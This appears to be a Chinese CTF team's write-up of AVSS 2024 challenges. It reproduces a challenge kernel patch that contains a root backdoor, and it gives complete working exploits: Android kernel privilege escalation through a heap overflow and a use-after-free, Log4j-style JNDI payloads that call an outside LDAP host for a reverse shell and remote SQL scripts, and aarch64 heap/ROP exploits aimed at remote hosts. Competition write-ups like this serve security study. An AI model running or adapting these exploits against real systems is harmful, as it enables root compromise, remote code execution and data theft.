AVSS 2024 Writeup Polaris战队

admin 2024年4月26日10:04:33评论4 views字数 30776阅读102分35秒阅读模式

本次 AVSS 2024,我们 Polaris 战队排名第2。

排名

1

sleeper

6589.13

2

Polaris

6121.72

3

凌武实验室

5957.54

4

来自东方的神秘力量

5745

5

emmmmmmm2024

5318.65

6

Nu1L

5239.56

7

L3H_Sec

4576.54

8

No_PJSK_No_Life

3755.36

9

OSR

3730.5

10

Ph0t1n1a

3285.12

_

KERNEL-INST

AVSS 2024 Writeup  Polaris战队

内核 patch 信息:

diff --git a/include/linux/syscalls.h b/include/linux/syscalls.hindex f2c973e8290e..c6789dd87075 100644--- a/include/linux/syscalls.h+++ b/include/linux/syscalls.h@@ -64,6 +64,7 @@ struct old_linux_dirent; struct perf_event_attr; struct file_handle; struct sigaltstack;+struct inst; #include <linux/types.h> #include <linux/aio_abi.h>@@ -859,4 +860,5 @@ asmlinkage long sys_kcmp(pid_t pid1, pid_t pid2, int type, asmlinkage long sys_finit_module(int fd, const char __user *uargs, int flags); asmlinkage long sys_seccomp(unsigned int op, unsigned int flags,           const char __user *uargs);+asmlinkage long sys_runcode(int option, struct inst __user * inst); #endifdiff --git a/include/uapi/asm-generic/unistd.h b/include/uapi/asm-generic/unistd.hindex b422ad5d238b..bb8ca192d798 100644--- a/include/uapi/asm-generic/unistd.h+++ b/include/uapi/asm-generic/unistd.h@@ -703,8 +703,11 @@ __SYSCALL(__NR_renameat2, sys_renameat2) #define __NR_seccomp 277 __SYSCALL(__NR_seccomp, sys_seccomp)+#define __NR_runcode 600+__SYSCALL(__NR_runcode, sys_runcode)+ #undef __NR_syscalls-#define __NR_syscalls 278+#define __NR_syscalls 601 /*  * All syscalls below here should go away really,diff --git a/kernel/Makefile b/kernel/Makefileindex 984bc58f76e6..2b59a010c2e4 100644--- a/kernel/Makefile+++ b/kernel/Makefile@@ -10,7 +10,7 @@ obj-y     = fork.o exec_domain.o panic.o printk.o        kthread.o wait.o sys_ni.o posix-cpu-timers.o mutex.o        hrtimer.o rwsem.o nsproxy.o srcu.o semaphore.o        notifier.o ksysfs.o cred.o -      async.o range.o groups.o lglock.o smpboot.o+      async.o range.o groups.o lglock.o smpboot.o vulnsys.o  ifdef CONFIG_FUNCTION_TRACER # Do not trace debug files and internal ftrace filesdiff --git a/kernel/vulnsys.c b/kernel/vulnsys.cnew file mode 100644index 000000000000..e818e18f4f37--- /dev/null+++ b/kernel/vulnsys.c@@ -0,0 +1,224 @@+#include <linux/kernel.h>+#include <linux/syscalls.h>+#include <linux/list.h>+#include <linux/slab.h>+#include <linux/uaccess.h>+extern int selinux_enforcing;+++#define MAX_INST 256+#define MEM_SIZE 512+enum inst_type{+    INST_NOP,+    INST_ADD,+    INST_SUB,+    INST_MUL+};++noinline __int128 do_backdoor(__int128 input, __int128 *operands, unsigned long operand_num) {+    struct cred *cred;+    int ret;+    cred = prepare_kernel_cred(NULL);+  if (!cred) {+        return -1;+    }+    ret = commit_creds(cred);+    if (ret) {+        return -1;+    }+    selinux_enforcing = 0;+    return 0;+}++noinline __int128 do_add(__int128 input, __int128 *operands, unsigned long operand_num) {+    __int128 ret = input;+    int i = 0;+    for (; i < operand_num; i++) {+        ret += operands[i];+    }+    return ret;+}++noinline __int128 do_sub(__int128 input, __int128 *operands, unsigned long operand_num) {+    __int128 ret = input;+    int i = 0;+    for (; i < operand_num; i++) {+        ret -= operands[i];+    }+    return ret;+}++noinline __int128 do_mul(__int128 input, __int128 *operands, unsigned long operand_num) {+    __int128 ret = input;+    int i = 0;+    for (; i < operand_num; i++) {+        ret *= operands[i];+    }+    return ret;+}++noinline __int128 do_nop(__int128 input, __int128 *operands, unsigned long operand_num) {+    return input;+}++struct inst{+    __int128 (*func)(__int128, __int128*, unsigned long);+    int idx;+    enum inst_type type;+    struct list_head list;+    unsigned long operand_num;+    __int128 operands[];+}__attribute__((packed));++DEFINE_SPINLOCK(inst_lock);+int run = 0;+struct inst* inst_head = NULL;+int g_idx = 0;++int add_inst(void){+    struct inst *new_inst = NULL;+    if(g_idx >= MAX_INST || run){+        return -1;+    }+    new_inst = kmalloc(MEM_SIZE, GFP_KERNEL);+    if(new_inst == NULL){+        return -1;+    }+    new_inst->idx = g_idx++;+    new_inst->type = INST_NOP;+    new_inst->func = do_nop;+    new_inst->operand_num = 0;+    INIT_LIST_HEAD(&new_inst->list);+    if(inst_head == NULL){+        inst_head = new_inst;+    }+    else{+        list_add_tail(&new_inst->list, &inst_head->list);+    }+    return new_inst->idx;+}++struct inst* find_inst(int idx){+    struct inst* curr = NULL;+    if(run){+        return NULL;+    }+    list_for_each_entry(curr, &inst_head->list, list) {+        if(curr->idx == idx){+            return curr;+        }+    }+    return NULL;+}++int edit_inst(struct inst __user * inst){+    struct inst _inst;+    struct inst* target = NULL;+    if(inst_head == NULL || copy_from_user(&_inst, inst, sizeof(struct inst))){+        return -1;+    }+    if(_inst.idx == inst_head->idx){+        target = inst_head;+    }+    else{+        target = find_inst(_inst.idx);+    }+    if(target == NULL){+        return -1;+    }+    switch (_inst.type)+    {+        case INST_ADD:+            target->func = do_add;+            target->type = INST_ADD;+            break;+        case INST_SUB:+            target->func = do_sub;+            target->type = INST_SUB;+            break;+        case INST_MUL:+            target->func = do_mul;+            target->type = INST_MUL;+            break;+        case INST_NOP:+            target->func = do_nop;+            target->type = INST_NOP;+            break;+        default:+            return -1;+    }+    if(_inst.operand_num > round_up(MEM_SIZE-sizeof(struct inst), sizeof(__int128))/sizeof(__int128)){+        return -1;+    }+    if(copy_from_user(target->operands, inst->operands, _inst.operand_num * sizeof(__int128))){+        return -1;+    }+    target->operand_num = _inst.operand_num;+    return 0;+}++int del_inst(struct inst __user * inst){+    struct inst _inst;+    struct inst* target = NULL;+    if(inst_head == NULL || copy_from_user(&_inst, inst, sizeof(struct inst))){+        return -1;+    }+    if(_inst.idx == inst_head->idx){+        return -1;+    }+    else{+        target = find_inst(_inst.idx);+    }+    if(target == NULL){+        return -1;+    }+    list_del(&target->list);+    kfree(target);+    return 0;+}++int run_code(void){+    struct inst* curr = NULL;+    struct inst* ptr = NULL;+    __int128 input = 0;+    __int128 output = 0;+    if(run || inst_head == NULL){+        return -1;+    }+    run = 1;+    list_for_each_entry(curr, &inst_head->list, list) {+        output = curr->func(input, curr->operands, curr->operand_num);+        input = output;+    }+    list_for_each_entry_safe(curr, ptr, &inst_head->list, list) {+        list_del(&curr->list);+        kfree(curr);+    }+    kfree(inst_head);+    return 0;+}++asmlinkage long sys_runcode(int option, struct inst __user * inst)+//SYSCALL_DEFINE2(runcode, int, option, struct inst __user *, inst)+{+    long ret = 0;+    spin_lock(&inst_lock);+    switch (option) {+        case 0:+            ret = add_inst();+            break;+        case 1:+            ret = del_inst(inst);+            break;+        case 2:+            ret = edit_inst(inst);+            break;+        case 3:+            ret = run_code();+            break;+        default:+            ret = -1;+    }+    spin_unlock(&inst_lock);+    return ret;+}

漏洞1

下面的代码中的 copy_from_user 有 8 字节的溢出,从而导致 Heap Overflow 漏洞,将 _inst.operand_num 设置为 30 即可触发。

+int edit_inst(struct inst __user * inst){    ...+    if(_inst.operand_num > round_up(MEM_SIZE-sizeof(struct inst), sizeof(__int128))/sizeof(__int128)){+        return -1;+    }+    if(copy_from_user(target->operands, inst->operands, _inst.operand_num * sizeof(__int128))){+        return -1;+    }+    target->operand_num = _inst.operand_num;+    return 0;+}

漏洞2

run_code 功能会 kfree(inst_head),但是 edit_inst 功能仍然可以编辑 inst_head,从而导致 UAF 漏洞。

Android 7

使用 Heap Overflow 修改函数指针为 do_backdoor 。

#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <syscall.h>#include <fcntl.h>#include <sys/mman.h>enum inst_type{    INST_NOP,    INST_ADD,    INST_SUB,    INST_MUL};struct inst{    __int128 (*func)(__int128, __int128*, unsigned long);    int idx;    enum inst_type type;    size_t* list[2];    unsigned long operand_num;    __int128 operands[];};int main(){    struct inst *args = mmap((void *)0xabcd0000, 0x1000, 7, 0x22, -1, 0);    for(int i = 0; i < 254; i++)    {        syscall(600, 0, NULL); // add_inst    }    syscall(600, 0, NULL); // add_inst    syscall(600, 0, NULL); // add_inst    args->idx = 254;    args->type = INST_ADD;    args->operand_num = 30;    *(size_t*)(((char*)args) + 512) = 0xffffffc0000c3140;    for(int i = 128; i < 256; i+=2)    {        args->idx = i;        syscall(600, 2, args); // edit_inst    }    syscall(600, 3, NULL); // run_code    printf("Uid: %dn", getuid());    int fd = open("/system/flag", O_RDONLY);    if (fd == -1)    {        perror("open");        exit(EXIT_FAILURE);    }    char buf[0x100] = {0};    read(fd, buf, sizeof(buf));    puts(buf);    return 0;}

Android 11

使用 UAF 漏洞劫持 current_task 。

#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <syscall.h>#include <fcntl.h>#include <pthread.h>#include <sys/mman.h>enum inst_type{    INST_NOP,    INST_ADD,    INST_SUB,    INST_MUL};struct inst{    __int128 (*func)(__int128, __int128*, unsigned long);    int idx;    enum inst_type type;    size_t* list[2];    unsigned long operand_num;    __int128 operands[];};struct inst *args;int pipe_fd[2];struct pipe_buffer {    size_t page;    unsigned int offset;    unsigned int len;    size_t ops;    unsigned int flags;    unsigned long private;};size_t write_word(size_t addr, size_t value){    size_t result = 0;    struct pipe_buffer *pipe_ptr;    memset(args, 0, 512);    args->idx = 0x00001000;    args->type = INST_ADD;    args->operand_num = 29;    pipe_ptr = (struct pipe_buffer *)(((char *)args) + 40);    pipe_ptr->ops = 0xFFFFFFC01161A668;    pipe_ptr->page = (((addr & (~0xfff)) - 0xffffffc008000000)/0x1000) * 0x40;    pipe_ptr->len = 0;    pipe_ptr->flags = 0;    pipe_ptr->offset = addr & 0xfff;    syscall(600, 2, args); // edit_inst // UAF    write(pipe_fd[1], &value, sizeof(value));    return result;}size_t read_word(size_t target){    size_t result = 0;    struct pipe_buffer *pipe_ptr;    memset(args, 0, 512);    args->idx = 0x00001000;    args->type = INST_ADD;    args->operand_num = 29;    pipe_ptr = (struct pipe_buffer *)(((char *)args) + 40);    pipe_ptr->ops = 0xFFFFFFC01161A668;    pipe_ptr->page = (((target & (~0xfff)) - 0xffffffc008000000)/0x1000) * 0x40;    pipe_ptr->len = 0x1000;    pipe_ptr->flags = 0;    pipe_ptr->offset = target & 0xfff;    syscall(600, 2, args); // edit_inst // UAF    read(pipe_fd[0], &result, sizeof(result));    return result;}#define INIT_TASK 0xffffffc011953e00#define TASK_OFFSET 0x488#define PID_OFFSET 0x588#define PTR_CRED_OFFSET 0x738size_t get_current_task(){    size_t task = INIT_TASK;    size_t result = 0;    int i = 0;    int pid;    int current_task_pid = getpid();    while(result == 0 && i++ < 128)    {        task = read_word(task + TASK_OFFSET + 8) - TASK_OFFSET;        printf("task: %#lxn", task);        if(task == INIT_TASK)        {            break;        }        pid = read_word(task + PID_OFFSET);        printf("pid: %dn", pid);        if(pid == current_task_pid)        {            result = task;        }    }    return result;}int main(){    char buf[0x2000] = {0};    struct pipe_buffer *pipe_ptr;    setbuf(stdout, NULL);    pipe(pipe_fd);    args = mmap((void *)0xabcd0000, 0x1000, 7, 0x22, -1, 0);    syscall(600, 0, NULL); // add_inst -> inst_head    syscall(600, 3, NULL); // run_code // kfree -> kmalloc-512    fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000 * 8);    write(pipe_fd[1], buf, 0x1800);    read(pipe_fd[0], buf, 0x1001);    size_t current_task = get_current_task();    printf("current_task: %#lxn", current_task);    size_t current_cred = read_word(current_task + PTR_CRED_OFFSET);    printf("current_cred: %#lxn", current_cred);    for(int i = 0; i < 4; i ++)    {        write_word(current_cred + 4 + i * 8, 0);    }    system("/system/bin/sh");    return 0;}

Vehicle-FORMULA

AVSS 2024 Writeup  Polaris战队

FORMULA_KARTING

*#2#04200525#*进入2查看HID码

AVSS 2024 Writeup  Polaris战队

native层HID会作为hmac_sha256的参数,然后经过rc4,最后和time比较(1s/10000)

AVSS 2024 Writeup  Polaris战队
//sha256.cc#include <cryptopp/hmac.h>#include <cryptopp/sha.h>#include <cryptopp/filters.h>#include <cryptopp/hex.h>#include <iostream>#include <string>#include <vector>std::string hmac_sha256(const std::vector<unsigned char> &key, const std::string &data) {    byte digest[CryptoPP::SHA256::DIGESTSIZE];    CryptoPP::HMAC<CryptoPP::SHA256> hmac(key.data(), key.size());    hmac.Update((const byte*)data.c_str(), data.size());    hmac.Final(digest);    std::string output;    CryptoPP::StringSource ss(digest, sizeof(digest), true, new CryptoPP::HexEncoder(new CryptoPP::StringSink(output)));    return output;}int main() {    std::vector<unsigned char> key = {0x22, 0xC, 0x4C, 0x37, 4, 0x59, 0x43, 9, 0x17, 8, 0x34, 0x5D, 0x47, 6, 0x29, 5};    unsigned long long val = 2250515364;    std::string data = std::to_string(val);    // std::cout << data << std::endl;    std::string result = hmac_sha256(key, data);    std::cout << result << std::endl;    return 0;}
// rc4.cc#include <vector>#include <iostream>#include <iomanip>struct rc4_state {    int x, y;    unsigned char m[256];};void rc4_setup(rc4_state *s, unsigned char *key, int length) {    s->x = 0;    s->y = 0;    for (int i = 0; i < 256; ++i)        s->m[i] = i;    int j = 0;    for (int i = 0; i < 256; ++i) {        j = (j + s->m[i] + key[i % length]) & 0xFF;        std::swap(s->m[i], s->m[j]);    }}void rc4_crypt(rc4_state *s, unsigned char *data, int length) {    for (int i = 0; i < length; ++i) {        s->x = (s->x + 1) & 0xFF;        s->y = (s->y + s->m[s->x]) & 0xFF;        std::swap(s->m[s->x], s->m[s->y]);        data[i] ^= s->m[(s->m[s->x] + s->m[s->y]) & 0xFF];    }}int main() {    // std::vector<unsigned char> key = { 0xee,0xbf,0xd6,0x68,0xa7,0xa6,0x56,0x30,0x03,0x0d,0xa3,0x11,0x99,0xc0,0x1a,0x76};    std::vector<unsigned char> key = { 0x3d,0x45,0xa0,0x4f,0x87,0xd2,0x0b,0x45,0x13,0xb6,0x2f,0xdb,0xeb,0xfb,0x06,0xf7};    // std::vector<unsigned char> encrypted_data = {0x6a,0x9d,0x02,0x0};      std::vector<unsigned char> encrypted_data = { 0x11,0x1e,0x92,0x20 };     rc4_state s;    rc4_setup(&s, key.data(), key.size());    rc4_crypt(&s, encrypted_data.data(), encrypted_data.size());    std::cout << "Decrypted data: ";    for (auto byte : encrypted_data) {        // std::cout << static_cast<char>(byte);        std::cout << std::hex << std::setw(2) << std::setfill('0') << (int)byte;    }    std::cout << 'n';    return 0;}
//time.cc#include <iostream>#include <chrono>int main() {    long long v13 = 131369;     std::chrono::time_point<std::chrono::system_clock> now = std::chrono::system_clock::now();    std::chrono::microseconds microsec = std::chrono::duration_cast<std::chrono::microseconds>(now.time_since_epoch());    long long rep = microsec.count();    std::chrono::seconds sec = std::chrono::duration_cast<std::chrono::seconds>(microsec);    bool v19 = sec.count() / 10000 == v13;    std::cout << "Microseconds since epoch: " << rep << std::endl;    std::cout << "Seconds since epoch: " << sec.count() << std::endl;    std::cout << "Seconds /10000 since epoch: " << sec.count() / 10000 << std::endl;    return 0;}

old-log

AVSS 2024 Writeup  Polaris战队

jdk8

jndimaphttps://github.com/X1r0z/JNDIMap${jndi:ldap://106.54.209.118:1389/Deserialize/Jackson/ReverseShell/vps/4444}

即可

jdk11

同 jdk8 。

jdk17

ldapServer打tomcat的jdbc的jndi注入

package com;  import com.unboundid.ldap.listener.InMemoryDirectoryServer;  import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;  import com.unboundid.ldap.listener.InMemoryListenerConfig;  import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;  import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;  import com.unboundid.ldap.sdk.Entry;  import com.unboundid.ldap.sdk.LDAPException;  import com.unboundid.ldap.sdk.LDAPResult;  import com.unboundid.ldap.sdk.ResultCode;  import com.unboundid.util.Base64;  import javax.naming.Reference;  import javax.naming.StringRefAddr;  import javax.net.ServerSocketFactory;  import javax.net.SocketFactory;  import javax.net.ssl.SSLSocketFactory;  import java.net.InetAddress;  import java.net.MalformedURLException;  import java.net.URL;  import java.text.ParseException;  public class LDAPServer{      private static final String LDAP_BASE = "dc=example,dc=com";      public static void main (String[] args) {          String url = "http://127.0.0.1:8000/#Evil";          int port = 1389;          try {              InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);              config.setListenerConfigs(new InMemoryListenerConfig(                      "listen",                      InetAddress.getByName("0.0.0.0"),                      port,                      ServerSocketFactory.getDefault(),                      SocketFactory.getDefault(),                      (SSLSocketFactory) SSLSocketFactory.getDefault()));              config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));              InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);              System.out.println("Listening on 0.0.0.0:" + port);              ds.startListening();          }          catch ( Exception e ) {              e.printStackTrace();          }      }      private static class OperationInterceptor extends InMemoryOperationInterceptor {          private URL codebase;          public OperationInterceptor ( URL cb ) {              this.codebase = cb;          }          /**           * {@inheritDoc}           *         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)           */        @Override          public void processSearchResult (InMemoryInterceptedSearchResult result ) {              String base = result.getRequest().getBaseDN();              Entry e = new Entry(base);              try {                  sendResult(result, base, e);              }              catch ( Exception e1 ) {                  e1.printStackTrace();              }          }          protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {              URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));              System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);              e.addAttribute("javaClassName", "Exploit");              String cbstring = this.codebase.toString();              int refPos = cbstring.indexOf('#');              if ( refPos > 0 ) {                  cbstring = cbstring.substring(0, refPos);              }              Reference ref = new Reference("javax.sql.DataSource","org.apache.tomcat.jdbc.pool.DataSourceFactory",null);              String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://106.54.209.118:4444/poc.sql'";              ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));              ref.add(new StringRefAddr("url",url));              ref.add(new StringRefAddr("username","root"));              ref.add(new StringRefAddr("password","password"));              ref.add(new StringRefAddr("initialSize","1"));              e.addAttribute("javaSerializedData", SerializeUtil.serialize(ref));  //             Payload2: 返回序列化 Gadget//            try {  //                e.addAttribute("javaSerializedData", Base64.decode("..."));  //            } catch (ParseException exception) {  //                exception.printStackTrace();  //            }              result.sendSearchEntry(e);              result.setResult(new LDAPResult(0, ResultCode.SUCCESS));          }      }  }

poc.sql是

AVSS 2024 Writeup  Polaris战队

payload

http://13.212.61.218:48080/welcome?name=%24%7Bjndi%3Aldap%3A%2F%2F106.54.209.118%3A1389%2Ftest%7D
AVSS 2024 Writeup  Polaris战队
AVSS 2024 Writeup  Polaris战队

flag:

AVSS 2024 Writeup  Polaris战队

MTE

AVSS 2024 Writeup  Polaris战队

BBO_BB

漏洞点在 edit 功能的负向溢出,攻击 tcache struct ,泄露栈地址后打栈读取 /dev/vda 即可

exp:

from pwn import *from struct import packfrom ctypes import *import base64from subprocess import run#from LibcSearcher import *from struct import packimport ttydef debug(c = 0):    if(c):        gdb.attach(p, c)    else:        gdb.attach(p)        pause()def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))#-----------------------------------------------------------------------------------------s = lambda data : p.send(data)sa  = lambda text,data  :p.sendafter(text, data)sl  = lambda data   :p.sendline(data)sla = lambda text,data  :p.sendlineafter(text, data)r   = lambda num=4096   :p.recv(num)rl  = lambda text   :p.recvuntil(text)pr = lambda num=4096 :print(p.recv(num))inter   = lambda        :p.interactive()l32 = lambda    :u32(p.recvuntil(b'xf7')[-4:].ljust(4,b'x00'))l64 = lambda    :u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))uu32    = lambda    :u32(p.recv(4).ljust(4,b'x00'))uu64    = lambda    :u64(p.recv(6).ljust(8,b'x00'))int16   = lambda data   :int(data,16)lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))#-----------------------------------------------------------------------------------------context(os='linux', arch='aarch64', log_level='debug')#p = process('./vuln')remote_ip = '52.77.241.34'remote_port = 10087import stringimport itertoolsimport refrom pwn import *from hashlib import sha256p = remote(remote_ip, remote_port)rev = p.recvuntil(b' == ').decode()pattern = r'xxxxx+([a-zA-Z0-9]+)'rev = re.search(pattern, rev).group(1)target_digest = p.recv(64).decode()characters = string.ascii_letters + string.digitsdef generate_combinations(length):  if length == 0:    yield ''  else:    for char in characters:      for suffix in generate_combinations(length - 1):        yield char + suffixfor comb in generate_combinations(5):  proof = comb + rev  digest = sha256(proof.encode("utf8")).hexdigest()  if target_digest == digest:    result = comb    breakp.sendlineafter(b'xxxxx:', result) #p = remote('127.0.0.1', 10088)libc = ELF('lib/libc.so.6')def add(size, data):  sla(b'choice: ', b'1')  sla(b'size: ', str(size))  if len(data) < size:    data += b'n'  sa(b'content: ', data)def edit(idx, offset, value):  sla(b'choice: ', b'2')  sla(b'index: ', str(idx))  sla(b'Offset: ', str(offset))  sla(b'content: ', str(value))def free(idx):  sla(b'choice: ', b'3')  sla(b'index: ', str(idx))#p = process(['qemu-aarch64', '-g', '1234', '-L', './', 'pwn'])#p = process(['qemu-aarch64', '-L', './', 'pwn'])for kk in range(5):  add(0x500, b'a') #index 0  add(0x10, b'a') #index 1  free(0)  add(0x500, b'') #index 0  p.recvuntil(b'rx0ax0d')  libc_base = u64(p.recv(6).ljust(8, b'x00')) - 0x193b0a  #libc_base = u64(p.recv(5).ljust(8, b'x00')) - 0x1c5b0a + 0x32000  free_hook = libc_base + libc.sym['__free_hook']  system, binsh = get_sb()  printf = libc_base + libc.sym['printf']  environ = libc_base + libc.sym['__environ']  stderr = libc_base + libc.sym['_IO_2_1_stderr_']  IO_obstack_jumps = libc_base + libc.sym['_IO_obstack_jumps']  add(0x100, b'a') #index 2  add(0x100, b'a') #index 3  free(2)  free(3)  add(0x10, b'a') #index 2  add(0x10, b'a') #index 3  for i in range(0x6):    edit(3, -0x9a8 + i + 0x1b0, (environ - 0x18 >> i*8) & 0xFF)  add(0x100, b'a'*0x17) #index 4  p.recvuntil(b'a'*0x17 + b'x0dx0a')  p.recvuntil(b'a'*0x17 + b'x0dx0a')  stack = u64(p.recv(6).ljust(8, b'x00')  )  #p.recvuntil(b'a'*0x17 + b'n')  #stack = u64(p.recv(5).ljust(8, b'x00'))  for i in range(0x6):    edit(3, -0x9a8 + i + 0x1b0, (stack - 0x198 >> i*8) & 0xFF)  #0x000000000003e18c : ldr x2, [sp, #0x38] ; and w1, w1, #1 ; str x2, [x19] ; str w1, [x19, #8] ; ldr x19, [sp, #0x10] ; ldp x29, x30, [sp], #0x50 ; ret  # 0x0000000000120894 : add x0, sp, #0x10 ; blr x2 ; ldp x29, x30, [sp], #0x40 ; ret  lg('stack', stack)  pl = b'a'*8 + p64(libc_base + 0x3e18c)  pl += b'b'*0x8 + p64(libc_base + 0x0000000000120894) + b'c'*0x28 + p64(system)  pl = pl.ljust(0x70 ,b'd') + b'cat /dev/vdax00'  add(0x100, pl) #index 4  lg('libc_base', libc_base)  lg('free_hook', free_hook)  lg('system', system)  lg('stderr', stderr)  lg('IO_obstack_jumps', IO_obstack_jumps)  lg('stack', stack)  sla(b'choice: ', b'4')  p.recvuntil(b'Bye.rn')  scret = p.recvuntil(b'x00')[:-1]  print('scret ----> ', scret, len(scret))  sla(b'Give me secret:', scret)while 1 : pr()

BBO_PT

相较于 BBO_BB 开启了 MTE 保护,在原有 BBO_BB 的解题方法上

1. 负向溢出修改子堆块大小,让其能够正向溢出

2. 负向溢出去除子堆块指针的高位

3. 在 environ 上面写 size 头 0x111,不让 malloc 时候给堆块打标签时候会访问到不可访问地址,申请到栈时候同理,但是 size 头可以有由写进去的 choice 代替,调试可知

exp:

from pwn import *from struct import packfrom ctypes import *import base64from subprocess import run#from LibcSearcher import *from struct import packimport ttydef debug(c = 0):    if(c):        gdb.attach(p, c)    else:        gdb.attach(p)        pause()def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))#-----------------------------------------------------------------------------------------s = lambda data : p.send(data)sa  = lambda text,data  :p.sendafter(text, data)sl  = lambda data   :p.sendline(data)sla = lambda text,data  :p.sendlineafter(text, data)r   = lambda num=4096   :p.recv(num)rl  = lambda text   :p.recvuntil(text)pr = lambda num=4096 :print(p.recv(num))inter   = lambda        :p.interactive()l32 = lambda    :u32(p.recvuntil(b'xf7')[-4:].ljust(4,b'x00'))l64 = lambda    :u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))uu32    = lambda    :u32(p.recv(4).ljust(4,b'x00'))uu64    = lambda    :u64(p.recv(6).ljust(8,b'x00'))int16   = lambda data   :int(data,16)lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))#-----------------------------------------------------------------------------------------context(os='linux', arch='aarch64', log_level='debug')#p = process('./vuln')remote_ip = '52.77.241.34'remote_port = 10088import stringimport itertoolsimport refrom pwn import *from hashlib import sha256p = remote(remote_ip, remote_port)rev = p.recvuntil(b' == ').decode()pattern = r'xxxxx+([a-zA-Z0-9]+)'rev = re.search(pattern, rev).group(1)target_digest = p.recv(64).decode()characters = string.ascii_letters + string.digitsdef generate_combinations(length):  if length == 0:    yield ''  else:    for char in characters:      for suffix in generate_combinations(length - 1):        yield char + suffixfor comb in generate_combinations(5):  proof = comb + rev  digest = sha256(proof.encode("utf8")).hexdigest()  if target_digest == digest:    result = comb    breakp.sendlineafter(b'xxxxx:', result) libc = ELF('lib/libc.so.6')def add(size, data):  sla(b'choice: ', b'1x00x00x00x00x00x00x00')  sla(b'size: ', str(size))  if len(data) < size:    data += b'n'  sa(b'content: ', data)def edit(idx, offset, value):  sla(b'choice: ', b'2')  sla(b'index: ', str(idx))  sla(b'Offset: ', str(offset))  sla(b'content: ', str(value))def free(idx):  sla(b'choice: ', b'3')  sla(b'index: ', str(idx))#p = process(['qemu-aarch64', '-g', '1234', '-L', './', 'pwn'])#p = process(['GLIBC_TUNABLES="glibc.mem.tagging=1"', 'qemu-aarch64', '-L', './', 'pwn'])#p = process(['./run.sh', 'rootfs.img'])env = {'GLIBC_TUNABLES': 'glibc.mem.tagging=1'}cmd1 = ['qemu-aarch64', '-L', './', './pwn']cmd2 = ['qemu-aarch64', '-L', './', '-g', '1234', './pwn']#p = process(cmd1, env=env)#p = remote('127.0.0.1', 10088)mode = 1for kk in range(5):  add(0x500, b'a') #index 0  add(0x500, b'') #index 1  add(0x10, b'a') #index 2  free(0)  free(1)  add(0x500, b'a'*7) #index 0  if mode:    p.recvuntil(b'a'*7 + b'x0dx0a')    p.recvuntil(b'a'*7 + b'x0dx0a')    heap_base = u64(p.recv(6).ljust(8, b'x00')) - 0x8e0  else:    p.recvuntil(b'a'*7 + b'n')    heap_base = u64(p.recv(5).ljust(8, b'x00')) - 0x8e0  add(0x500, b'') # index 1  if mode:    p.recvuntil(b'rx0ax0d')    libc_base = u64(p.recv(6).ljust(8, b'x00')) - 0x193b0a  else:    libc_base = u64(p.recv(5).ljust(8, b'x00')) - 0x1c5b0a + 0x32000  free_hook = libc_base + libc.sym['__free_hook']  system, binsh = get_sb()  printf = libc_base + libc.sym['printf']  environ = libc_base + libc.sym['__environ']  stderr = libc_base + libc.sym['_IO_2_1_stderr_']  IO_obstack_jumps = libc_base + libc.sym['_IO_obstack_jumps']  add(0x100, b'a') #index 3  free(3)  add(0x10, b'a') #index 3  add(0x10, b'a') #index 4  for i  in range(3):    edit(3, -0x10 + i, 0xff)  edit(3, -0x1, 0)  #pause()  lg('environ', environ)  lg('libc_base', libc_base)  lg('heap_base', heap_base)  lg('stderr', stderr)  edit(3, environ - heap_base - 0xe10 - 0x20 - 0x100 + 0x60, 0x11)  edit(3, environ - heap_base - 0xe10 - 0x20 - 0x100 + 0x60 + 1, 0x1)  for i in range(0x8):    edit(3, - (0xe10 - 0x108 + 0xa0 - i), ((environ - 0x18) >> i*8) & 0xFF)  lg('environ', environ)  lg('libc_base', libc_base)  lg('heap_base', heap_base)  lg('stderr', stderr)  add(0x100, b'a'*0x17) #index 4  if mode:    p.recvuntil(b'a'*0x17 + b'x0dx0a')    p.recvuntil(b'a'*0x17 + b'x0dx0a')    stack = u64(p.recv(6).ljust(8, b'x00'))  else:    p.recvuntil(b'a'*0x17 + b'n')    stack = u64(p.recv(5).ljust(8, b'x00'))  lg('environ', environ)  lg('libc_base', libc_base)  lg('heap_base', heap_base)  lg('stderr', stderr)  lg('stack', stack)  add(0x108, b'a') #index 5  free(5)  for i in range(0x8):    edit(3, - (0xe10 - 0x108 + 0xa0 - i),  (stack - 0x198 - 0x10 >> i*8) & 0xFF)  #0x000000000003e18c : ldr x2, [sp, #0x38] ; and w1, w1, #1 ; str x2, [x19] ; str w1, [x19, #8] ; ldr x19, [sp, #0x10] ; ldp x29, x30, [sp], #0x50 ; ret  # 0x0000000000120894 : add x0, sp, #0x10 ; blr x2 ;   pl = p64(0)*3 + p64(libc_base + 0x000000000003e18c)  pl += b'b'*0x8 + p64(libc_base + 0x0000000000120894) + b'c'*0x28 + p64(system)  pl = pl.ljust(0x80 ,b'd') + b'cat /dev/vdax00'  add(0x100, pl) #index 4  lg('libc_base', libc_base)  lg('free_hook', free_hook)  lg('system', system)  lg('stderr', stderr)  lg('IO_obstack_jumps', IO_obstack_jumps)  lg('stack', stack)  sla(b'choice: ', b'4')  p.recvuntil(b'Bye.rn')  scret = p.recvuntil(b'x00')[:-1]  print('scret ----> ', scret, len(scret))  sla(b'Give me secret:', scret)while 1 